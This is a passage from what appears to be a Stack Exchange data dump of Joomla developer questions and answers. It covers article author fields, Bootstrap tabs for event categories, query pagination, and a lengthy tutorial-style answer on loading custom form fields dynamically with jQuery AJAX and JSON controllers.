&lt;strong&gt;Author&lt;/strong&gt; in the back end list of articles shows values from the fields &lt;em&gt;Created By&lt;/em&gt; and &lt;em&gt;Created by Alias&lt;/em&gt; rather than the field &lt;em&gt;Author&lt;/em&gt;. Is it a mistake or is there any reason why it is labelled this way? Same in the front end: When I set the &lt;strong&gt;Show Author&lt;/strong&gt; option to 'Show', then what appears in the info box of the article is either the &lt;em&gt;Created By&lt;/em&gt; or &lt;em&gt;Created by Alias&lt;/em&gt; value instead of the &lt;em&gt;Author&lt;/em&gt; value. From what I found out, the only thing the &lt;em&gt;Author&lt;/em&gt; field does is that it adds a &lt;code&gt;&amp;lt;meta name=&amp;quot;author&amp;quot;&amp;gt;&lt;/code&gt; tag. But there is no indication in the administration that this field only applies to metadata, so I find it quite misleading. Or have I missed something?&lt;/p&gt;&#xA;&lt;p&gt;Anyway, how can I achieve what I asked in the beginning? I find it useful (though not necessary) to keep a distinction between who created the article in the system (the editor working with Joomla) vs. who is the author of the text being published. Or do I have to create fake Joomla users for all the authors of the texts and assign the articles to them? And what if there is a text with multiple authors? What is the best practice to do these things? Thanks in advance for an explanation.&lt;/p&gt;&#xA;" OwnerUserId="5848" LastEditorUserId="5848" LastEditDate="2021-01-04T17:47:53.003" LastActivityDate="2021-01-04T17:47:53.003" Title="Managing authors of Joomla articles" Tags="|articles|com-content|joomla-3.9|article-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28775" PostTypeId="1" CreationDate="2021-01-04T17:03:42.490" Score="0" ViewCount="48" Body="&lt;p&gt;ok I had view like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;foreach ($categories as $category)&#xA;{&#xA;    if (!$config-&amp;gt;show_empty_cat &amp;amp;&amp;amp; !count($category-&amp;gt;events))&#xA;    {&#xA;        continue ;&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;row-fluid jakis &amp;lt;?php echo $clearfixClass; ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;h3 class=&amp;quot;eb-category-title&amp;quot;&amp;gt;&#xA;            &amp;lt;a href=&amp;quot;&amp;lt;?php echo JRoute::_(EventbookingHelperRoute::getCategoryRoute($category-&amp;gt;id, $Itemid)); ?&amp;gt;&amp;quot; class=&amp;quot;eb-category-title-link&amp;quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                    echo $category-&amp;gt;name;&#xA;                ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php&#xA;            if($category-&amp;gt;description)&#xA;            {&#xA;            ?&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;&amp;lt;?php echo $clearfixClass; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $category-&amp;gt;description;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php&#xA;            }&#xA;&#xA;            if (count($category-&amp;gt;events))&#xA;            {&#xA;                $user = JFactory::getUser();&#xA;                $bootstrapHelper = EventbookingHelperBootstrap::getInstance();&#xA;&#xA;                echo EventbookingHelperHtml::loadCommonLayout('common/events_table.php', array('items' =&amp;gt; $category-&amp;gt;events, 'config' =&amp;gt; $config, 'Itemid' =&amp;gt; $Itemid, 'nullDate' =&amp;gt; JFactory::getDbo()-&amp;gt;getNullDate(), 'ssl' =&amp;gt; (int) $config-&amp;gt;use_https, 'viewLevels' =&amp;gt; $user-&amp;gt;getAuthorisedViewLevels(), 'categoryId' =&amp;gt; $category-&amp;gt;id, 'bootstrapHelper' =&amp;gt; $bootstrapHelper));&#xA;            }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I try to add tab code but it always show all categories in first tab how to solve this?&lt;/p&gt;&#xA;" OwnerUserId="14794" LastActivityDate="2024-02-20T05:01:50.243" Title="I have view of categories showing one category after other one, I want to show it but each one in tab can You help?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28777" PostTypeId="2" ParentId="28775" CreationDate="2021-01-05T02:11:50.267" Score="0" Body="&lt;p&gt;Assuming your template is using bootstrap 2, and assuming you want horizontal tab panels, then the following untested rewrite may get you closer to what you are after?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user = JFactory::getUser();&#xA;$bootstrapHelper = EventbookingHelperBootstrap::getInstance();&#xA;?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;tabbable&amp;quot;&amp;gt;&#xA;  &amp;lt;ul class=&amp;quot;nav nav-tabs&amp;quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    $tab_count = 0;&#xA;    foreach ($categories as $category){&#xA;        if (!$config-&amp;gt;show_empty_cat &amp;amp;&amp;amp; !count($category-&amp;gt;events)){&#xA;            continue;&#xA;        }&#xA;&#xA;        $tab_count++;&#xA;        echo '&amp;lt;li';&#xA;        echo $tab_count == 1 ? ' class=&amp;quot;active&amp;quot;' : '';&#xA;        echo '&amp;gt;&amp;lt;a href=&amp;quot;#tab' . $tab_count . '&amp;quot; data-toggle=&amp;quot;tab&amp;quot;&amp;gt;' . $category-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;tab-content&amp;quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    $tab_count = 0;&#xA;    foreach ($categories as $category){&#xA;        if (!$config-&amp;gt;show_empty_cat &amp;amp;&amp;amp; !count($category-&amp;gt;events)){&#xA;            continue;&#xA;        }&#xA;    &#xA;        $tab_count++;&#xA;        echo '&amp;lt;div class=&amp;quot;tab-pane';&#xA;        echo $tab_count == 1 ? ' active' : '';&#xA;        echo ' id=&amp;quot;tab' . $tab_count . '&amp;quot;&amp;gt;';&#xA;&#xA;        echo !empty($category-&amp;gt;description) ? '&amp;lt;div&amp;gt;' . $category-&amp;gt;description . '&amp;lt;/div&amp;gt;' : '';&#xA;&#xA;        echo EventbookingHelperHtml::loadCommonLayout('common/events_table.php', array('items' =&amp;gt; $category-&amp;gt;events, 'config' =&amp;gt; $config, 'Itemid' =&amp;gt; $Itemid, 'nullDate' =&amp;gt; JFactory::getDbo()-&amp;gt;getNullDate(), 'ssl' =&amp;gt; (int) $config-&amp;gt;use_https, 'viewLevels' =&amp;gt; $user-&amp;gt;getAuthorisedViewLevels(), 'categoryId' =&amp;gt; $category-&amp;gt;id, 'bootstrapHelper' =&amp;gt; $bootstrapHelper));&#xA;    }&#xA;&#xA;    echo '&amp;lt;a href=&amp;quot;' . JRoute::_(EventbookingHelperRoute::getCategoryRoute($category-&amp;gt;id, $Itemid)) . '&amp;quot; class=&amp;quot;btn btn-info&amp;quot;&amp;gt;' . $category-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="12352" LastEditDate="2022-01-31T01:24:39.587" LastActivityDate="2022-01-31T01:24:39.587" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28778" PostTypeId="1" CreationDate="2020-12-23T06:03:00.060" Score="1" ViewCount="295" Body="&lt;p&gt;I am trying to build an author page with the lists of your articles in com_contact (this option exists but it cannot paginate). I need it to be paginated. So I am creating arbitrarily without respecting the articles loaded by &lt;code&gt;$this-&amp;gt;item-&amp;gt;articles&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$db         = JFactory::getDbo();&#xA;$app        = JFactory::getApplication();&#xA;$limit      = $app-&amp;gt;getUserStateFromRequest(&amp;quot;global.list.limit&amp;quot;, 'limit', $app-&amp;gt;getCfg('list_limit'), 'int');&#xA;$limitstart = $app-&amp;gt;input-&amp;gt;get('limitstart', 0, 'INT');&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('SQL_CALC_FOUND_ROWS *')&#xA;    -&amp;gt;from('#__content')&#xA;    -&amp;gt;where('created_by = 439')&#xA;    -&amp;gt;order('publish_up DESC');&#xA;&#xA;$db-&amp;gt;setQuery($query, $limitstart, $limit);&#xA;&#xA;$results = $db-&amp;gt;loadAssocList();&#xA;&#xA;if (!empty($results)) {&#xA;    $db-&amp;gt;setQuery('SELECT FOUND_ROWS();');&#xA;    jimport('joomla.html.pagination');&#xA;    $pager = new JPagination(73, $limitstart, $limit);&#xA;    foreach ($results as $article) {&#xA;        var_dump($article);&#xA;    }&#xA;    echo $pager-&amp;gt;getPagesLinks();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have not been able to obtain the total of the consultations, can you help me with that please? &lt;code&gt;$db-&amp;gt;loadResult()&lt;/code&gt; counts the total of the matches of the current page and of the following pages less than the previous page, that means that while browsing the number of pages is reduced to 2.&lt;/p&gt;&#xA;" OwnerUserId="7417" OwnerDisplayName="Leoalv" LastEditorUserId="12352" LastEditDate="2021-05-04T22:55:58.073" LastActivityDate="2021-05-04T22:55:58.073" Title="How to count total queries with limit for pagination in Joomla getDbo" Tags="|php|mysql|pagination|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28779" PostTypeId="2" ParentId="28763" CreationDate="2021-01-07T16:20:40.640" Score="2" Body="&lt;p&gt;&lt;strong&gt;I consider this a very valuable question&lt;/strong&gt; that does not have good write-ups/tutorials yet in Joomla documents (we should create one). I am trying to give here some workable info on this.&lt;/p&gt;&#xA;&lt;p&gt;Loading Form Fields using Joomla implemented &lt;strong&gt;show-on conditions&lt;/strong&gt; is not for loading dynamically changing checkboxes, lists, or combo fields' values and fields. For loading Form Fields dynamically with dynamically changing values based on other selected List type form field values is a very important, very frequently required task in any web-framework. It is more true and needed if we consider asynchronous operations on webpages where only the focused fractions of the webpage are updated continually based on the user's interaction, so we do not want to reload the whole webpage because of a tiny dynamic change on the page. Today almost every web-developer wants to use this technique (hence the great popularity of the newer front-end JavaScript frameworks, like React, Angular and so on).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The subjects we have to study/know a bit for using this are the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Basic Javascript/jQuery understanding.&lt;/li&gt;&#xA;&lt;li&gt;Basic jQuery Ajax knowledge (any asynchronous request techniques. I consider jQuery as the most handy for Joomla).&lt;/li&gt;&#xA;&lt;li&gt;How to use (request and get) JSON data only in Joomla.&lt;/li&gt;&#xA;&lt;li&gt;How to create and load custom form fields in Joomla.&lt;/li&gt;&#xA;&lt;li&gt;Basics of Joomla MVC.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Anybody can study these on the net of course. Quite a lot of things at first glance, but after a short time of studying these, it is getting relatively simple (while Joomla CMS stays extremely complex still).&lt;/p&gt;&#xA;&lt;p&gt;Now, let's start with this. I just created a &lt;strong&gt;sample Joomla component&lt;/strong&gt; for myself earlier to do tests on that. The component is called &lt;strong&gt;Mycomponent&lt;/strong&gt; (&lt;code&gt;com_mycomponent&lt;/code&gt; in Joomla). And created the Model, View and Controller folders and files called: &lt;strong&gt;hello&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;First, we have to create a Table for the Form Fields possible options' values. For the task in the original question, I would create two tables; one for the &lt;strong&gt;Job titles,&lt;/strong&gt; and one for the &lt;strong&gt;Technologies&lt;/strong&gt; connecting them with a Foreign Key. But it looks like the OP is inserting these data in one Table so I'll use that concept now.&lt;/p&gt;&#xA;&lt;p&gt;The basic sample Table called &lt;strong&gt;#__mycomponent_jobs&lt;/strong&gt; should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;+--------------+--------------+------+-----+---------+----------------+&#xA;| Field        | Type         | Null | Key | Default | Extra          |&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;| id           | int(11)      | NO   | PRI | NULL    | auto_increment |&#xA;| jobtitle     | varchar(255) | NO   |     |         |                |&#xA;| technologies | varchar(255) | NO   |     |         |                |&#xA;+--------------+--------------+------+-----+---------+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In &lt;strong&gt;/administrator/components/com_mycomponent/sql/install.mysql.utf8.sql&lt;/strong&gt; you just simply create this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__mycomponent_jobs` (&#xA;  `id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `jobtitle` varchar(255) NOT NULL DEFAULT '',&#xA;  `technologies` varchar(255) NOT NULL DEFAULT '',&#xA;  PRIMARY KEY (`id`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next is creating the Form XML file with the particular Fields in the &lt;strong&gt;models/forms&lt;/strong&gt; folder:&#xA;&lt;strong&gt;/administrator/components/com_mycomponent/models/forms/hello.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fieldset name=&amp;quot;hellofields&amp;quot;&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;jobs&amp;quot; label=&amp;quot;COM_MYCOMPONENT_FIELD_LABEL&amp;quot;&amp;gt;&#xA;      &amp;lt;field&#xA;        name=&amp;quot;jobtitle&amp;quot;&#xA;        type=&amp;quot;jobtitle&amp;quot;&#xA;        label=&amp;quot;JOBTITLES&amp;quot;&#xA;        description=&amp;quot;MYCOMPONENT_HELLOFORM_JOBTITLE_DESC&amp;quot;&#xA;        class=&amp;quot;mycombo&amp;quot;&#xA;        default=&amp;quot;Please choose a jobtitle&amp;quot;&#xA;      /&amp;gt;    &#xA;      &amp;lt;field&#xA;        name=&amp;quot;technologies&amp;quot;&#xA;        type=&amp;quot;technologies&amp;quot;&#xA;        label=&amp;quot;TECHNOLOGIES&amp;quot;&#xA;        description=&amp;quot;MYCOMPONENT_HELLOFORM_TECHNOLOGIES_DESC&amp;quot;&#xA;        default=&amp;quot;0&amp;quot;&#xA;        readonly=&amp;quot;false&amp;quot;&#xA;      /&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This was the boring stuff (however the &lt;strong&gt;Joomla XML form fields&lt;/strong&gt; creating system is a really great system!)&lt;/p&gt;&#xA;&lt;p&gt;Then, we have to create the two custom From Field types (extending them from Joomla &lt;code&gt;combo&lt;/code&gt; and &lt;code&gt;checkboxes&lt;/code&gt; Form fields, which both are extended from Joomla List field type basically). Now, here I have to note that Joomla docs have a good write-up on 'how to create custom form fields in Joomla'. It could be extended a bit. So, first we create a custom &lt;strong&gt;Jobtitle combo field&lt;/strong&gt; file. in&#xA;&lt;strong&gt;/administrator/components/com_mycomponent/models/fields/jobtitle.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     None yet&#xA; * @subpackage  com_mycomponent&#xA; *&#xA; * @copyright   Copyright (C) 2021 plugit, Inc.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;FormHelper::LoadFieldClass('combo');&#xA;&#xA;class JFormFieldJobtitle extends JFormFieldCombo&#xA;{&#xA;&#xA;    protected $type = 'jobtitle';&#xA;&#xA;    public function getOptions() {&#xA;        &#xA;        // we get the field options values data from the db./from our table.&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('DISTINCT jobtitle')-&amp;gt;from('`#__mycomponent_jobs`');&#xA;        $rows = $db-&amp;gt;setQuery($query)-&amp;gt;loadRowList();&#xA;&#xA;        // we create the correct object structure for the combo field type&#xA;        // in the next steps from the returned database values &#xA;        // then return it back - all other things handled by parent &#xA;        $options = array();&#xA;        foreach($rows as $key =&amp;gt; $value)&#xA;        {&#xA;            $options[] = array(&amp;quot;value&amp;quot; =&amp;gt; $key, &amp;quot;text&amp;quot; =&amp;gt; $value[0]);&#xA;        }&#xA;&#xA;        $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;        $correctOptions = array();&#xA;        foreach($options as $option)&#xA;        {&#xA;            $correctOptions[] = (object) $option;&#xA;        }&#xA;&#xA;        $correctOptions = (object) $correctOptions;&#xA;&#xA;        return $correctOptions;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;some notes:&lt;/strong&gt; since the &lt;strong&gt;jobtitles's&lt;/strong&gt; values are coming from the same table where the technologies' values are, in that table we are giving the same jobtitle to many technology names in the other column, thus in our code we make sure that every jobtitle will only be in our returned &lt;strong&gt;options object&lt;/strong&gt; once for the Form field. That is why I would prefer these data in separate tables in the first place and not in one table together. We could save many lines of codes here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But more importantly:&lt;/strong&gt; when we create these custom form fields, most of the times the &lt;code&gt;getOptions()&lt;/code&gt; method is enough in our class, because all of the other things will be handled by the parent class of the Field. So we do not need to create other methods in our custom combo field class. No more get this and get that...&lt;/p&gt;&#xA;&lt;p&gt;For this combo type form field  - which is basically an altered list form field - we have to return back the option's values in the following format (usually this is required by every &lt;strong&gt;list type form field in Joomla&lt;/strong&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 'options' =&amp;gt; &#xA;    object(stdClass)[356]&#xA;      public '0' =&amp;gt; &#xA;        object(stdClass)[361]&#xA;          public 'value' =&amp;gt; int 0&#xA;          public 'text' =&amp;gt; string 'Java Developer' (length=14)&#xA;      public '1' =&amp;gt; &#xA;        object(stdClass)[362]&#xA;          public 'value' =&amp;gt; int 1&#xA;          public 'text' =&amp;gt; string 'C# Developer' (length=12)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;The next is&lt;/strong&gt; creating our custom &lt;code&gt;checkboxes&lt;/code&gt; form field type called &lt;strong&gt;Technologies&lt;/strong&gt; now. At this field - for fun and for being a more good boy - I created a separate method in my &lt;strong&gt;hello model&lt;/strong&gt; to get the values from the table. In&#xA;&lt;strong&gt;/administrator/components/com_mycomponent/models/hello.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  public function getFieldOptionsData($jobTitle)&#xA;  {&#xA;    $db = Factory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('technologies')&#xA;        -&amp;gt;from('`#__mycomponent_jobs`')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('jobtitle') . ' = ' . $db-&amp;gt;quote($jobTitle));&#xA;    $techForJob = $db-&amp;gt;setQuery($query)-&amp;gt;loadRowList();&#xA;&#xA;    return $techForJob;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the Technologies custom form field in:&#xA;&lt;strong&gt;/administrator/components/com_mycomponent/models/fields/technologies.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     None yet&#xA; * @subpackage  com_mycomponent&#xA; *&#xA; * @copyright   Copyright (C) 2021 plugit, Inc.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;use Joomla\CMS\MVC\Model\AdminModel;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;FormHelper::LoadFieldClass('checkboxes');&#xA;&#xA;class JFormFieldTechnologies extends JFormFieldCheckboxes {&#xA;&#xA;    protected $type = 'technologies';&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        // get our model&#xA;        $model = AdminModel::getInstance('Hello', 'MycomponentModel');&#xA;&#xA;        // set the jobTitle variable for first loading of fields&#xA;        // if we want to load this field before job title is selected&#xA;        $jobTitle = '';&#xA;&#xA;        $input = Factory::getApplication()-&amp;gt;input;&#xA;&#xA;        if ($input-&amp;gt;getString('jobtitle') === null)&#xA;        {&#xA;            $job = &amp;quot;Java Developer&amp;quot;;&#xA;        }&#xA;        else&#xA;        {&#xA;            $jobTitle = $input-&amp;gt;getString('jobtitle');&#xA;            $job = $jobTitle;&#xA;        }&#xA;&#xA;        // we will get the tech stack options' data for this field from our model/table&#xA;        // based on the selected jobtitle - getting a RowList&#xA;        $techForJob = $model-&amp;gt;getFieldOptionsData($job);&#xA;&#xA;        // we have to set the options data in the correct format&#xA;        // for list/checkboxes field&#xA;        $options = array();&#xA;        foreach($techForJob as $key =&amp;gt; $value)&#xA;        {&#xA;            $options[] = array(&amp;quot;value&amp;quot; =&amp;gt; $key, &amp;quot;text&amp;quot; =&amp;gt; $value[0], &amp;quot;checked&amp;quot; =&amp;gt; '');&#xA;        }&#xA;&#xA;        // we can get additional values from the XML field too&#xA;        $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;        // we finalize our options into an object list, then create an Object&#xA;        // from the whole to return that back in a correct format for this field type&#xA;        $correctOptions = array();&#xA;        foreach($options as $option)&#xA;        {&#xA;            $correctOptions[] = (object) $option;&#xA;        }&#xA;        $correctOptions = (object) $correctOptions;&#xA;&#xA;        return $correctOptions;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this field requires for returning an object with values that looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)[349]&#xA;  public '0' =&amp;gt; &#xA;    object(stdClass)[343]&#xA;      public 'value' =&amp;gt; int 0&#xA;      public 'text' =&amp;gt; string 'Java' (length=4)&#xA;      public 'checked' =&amp;gt; string '' (length=0)&#xA;  public '1' =&amp;gt; &#xA;    object(stdClass)[347]&#xA;      public 'value' =&amp;gt; int 1&#xA;      public 'text' =&amp;gt; string 'Hibernate' (length=9)&#xA;      public 'checked' =&amp;gt; string '' (length=0)&#xA;  public '2' =&amp;gt; &#xA;    object(stdClass)[348]&#xA;      public 'value' =&amp;gt; int 2&#xA;      public 'text' =&amp;gt; string 'Spring Boot' (length=11)&#xA;      public 'checked' =&amp;gt; string '' (length=0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then the parent &lt;code&gt;checkboxes&lt;/code&gt; Joomla field class handles everything fine, you do not have to create anything else in your custom field code. (The above codes could be still optimized, simplified a bit, if I'll have some more spare time I'll update them. Anybody is welcomed to edit/improve these of course if someone is in the mood to do that.)&lt;/p&gt;&#xA;&lt;p&gt;Let's now create the &lt;strong&gt;view&lt;/strong&gt; and a simple layout (template) where we load the Form and the fields. I will not copy here the hello view (&lt;code&gt;view.html.php&lt;/code&gt; file in the &lt;code&gt;views/hello&lt;/code&gt; folder), I only place here the layout file from &lt;code&gt;views/hello/tmpl&lt;/code&gt; folder because that is where our short jQuery script is which partially handles the dynamic field loadings too.&#xA;&lt;strong&gt;/administrator/components/com_mycomponent/views/hello/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     None yet&#xA; * @subpackage  com_mycomponent&#xA; *&#xA; * @copyright   Copyright (C) 2021 plugit, Inc.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.formvalidator');&#xA;JHtml::_('behavior.keepalive');&#xA;&#xA;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form id=&amp;quot;myform&amp;quot;&amp;gt;&#xA;  &amp;lt;?php  echo $this-&amp;gt;form-&amp;gt;renderField('jobtitle', 'jobs'); ?&amp;gt;&#xA;  &amp;lt;div id=&amp;quot;mine2&amp;quot;&amp;gt;&#xA;  &amp;lt;?php // echo $this-&amp;gt;form-&amp;gt;renderField('technologies', 'jobs'); // if we want to preload this ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;  &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;return&amp;quot; value=&amp;quot;&amp;lt;?php //echo $input-&amp;gt;get('return', null, 'BASE64'); ?&amp;gt;&amp;quot; /&amp;gt;&#xA;  &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;&#xA;jQuery(document).ready(function($) {&#xA;  let selected = $(&amp;quot;.mycombo&amp;quot;).next();&#xA;&#xA;  selected.find('li').on('click', function() {&#xA;      let chosenJobTitle = $(this).text();&#xA;      sendajax(chosenJobTitle);&#xA;  });&#xA;&#xA;  function sendajax(jobTitle) {&#xA;      $.ajax({&#xA;          url: &amp;quot;/administrator/index.php?option=com_mycomponent&amp;amp;task=hello.gettechfield&amp;amp;jobtitle=&amp;quot; + escape(jobTitle) + &amp;quot;&amp;amp;format=json&amp;quot;,&#xA;          method: 'get',&#xA;          dataType: 'json',&#xA;          contentType: &amp;quot;application/json&amp;quot;,&#xA;      }).done(function(data, result, msg) {&#xA;          // console.log(data);&#xA;          $(&amp;quot;#mine2&amp;quot;).html(data.data);&#xA;      }).fail(function(jqXHR, textStatus, errorThrown) {&#xA;          console.log( 'got post but: ' + textStatus + ': ' + errorThrown);&#xA;      });&#xA;  };&#xA;&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;In the above view layout&lt;/strong&gt; we create the &lt;strong&gt;html form&lt;/strong&gt; and we render the form fields which we want to be included in the form. That is basic. We have to also include a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; where we will load the &lt;code&gt;technologies&lt;/code&gt; form field dynamically with jQuery. That is &lt;code&gt;&amp;lt;div id=&amp;quot;mine2&amp;quot;&amp;gt;&lt;/code&gt; in the form and by &lt;code&gt;id&lt;/code&gt; we can target it with the jQuery script.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla &lt;strong&gt;combo form field&lt;/strong&gt; is a bit tricky because it does not have changing value attributes or selected/checked attributes and it does not trigger &lt;code&gt;change&lt;/code&gt; events in javascript contrary to list form fields' selected values. Thus we have get the chosen field's values by getting it from the combo field &lt;code&gt;dropdown li&lt;/code&gt; text values. Then we just send the value to our controller and that is what's next here.&lt;/p&gt;&#xA;&lt;h2&gt;How to request and get JSON values properly in Joomla with a jQuery ajax call?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;This is one of the most interesting parts of this whole subject&lt;/strong&gt; regarding Joomla in my opinion. Specifically the question: &lt;em&gt;&lt;strong&gt;how to request and get JSON values properly in Joomla with a jQuery AJAX call?&lt;/strong&gt;&lt;/em&gt; Very rarely can you find a good tutorial on that (all of them have some problems).&lt;/p&gt;&#xA;&lt;p&gt;In the jQuery script in the above layout I targeted a controller and a method in the controller with this segment of the AJAX request URL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;task=hello.gettechfield&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Many people know this. This targets the &lt;code&gt;hello&lt;/code&gt; controller of your component and the &lt;code&gt;gettechfield()&lt;/code&gt; method of that controller.&lt;/p&gt;&#xA;&lt;p&gt;At the end of the request URL you will also find:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is where a lot of unclear data you can find regarding Joomla. I'd like to clear two of those with the following.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;If the requested data format is JSON&lt;/strong&gt; then please create a JSON controller in your component's controllers folder where you can have two of the same or very similar controller files, but one is called &lt;code&gt;hello.php&lt;/code&gt; and the other one is called &lt;code&gt;hello.json.php.&lt;/code&gt;. Thus if you call your controller function with an AJAX call and you'd like to get a JSON response only then the &lt;code&gt;hello.json.php&lt;/code&gt; controller will answer that (without any headache about the response and with a clear json response).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;use \Joomla\CMS\Response\JsonResponse;&lt;/code&gt;is a just great in Joomla regarding JSON and AJAX calls. If you use this &lt;code&gt;JsonResponse&lt;/code&gt; object in your controller, you do not have to be worried about the document header MIME encoding, or closing the application after the response was returned, and jexit... and these kind of things. All is handled by including this Joomla class. So you will see how simple a controller method is 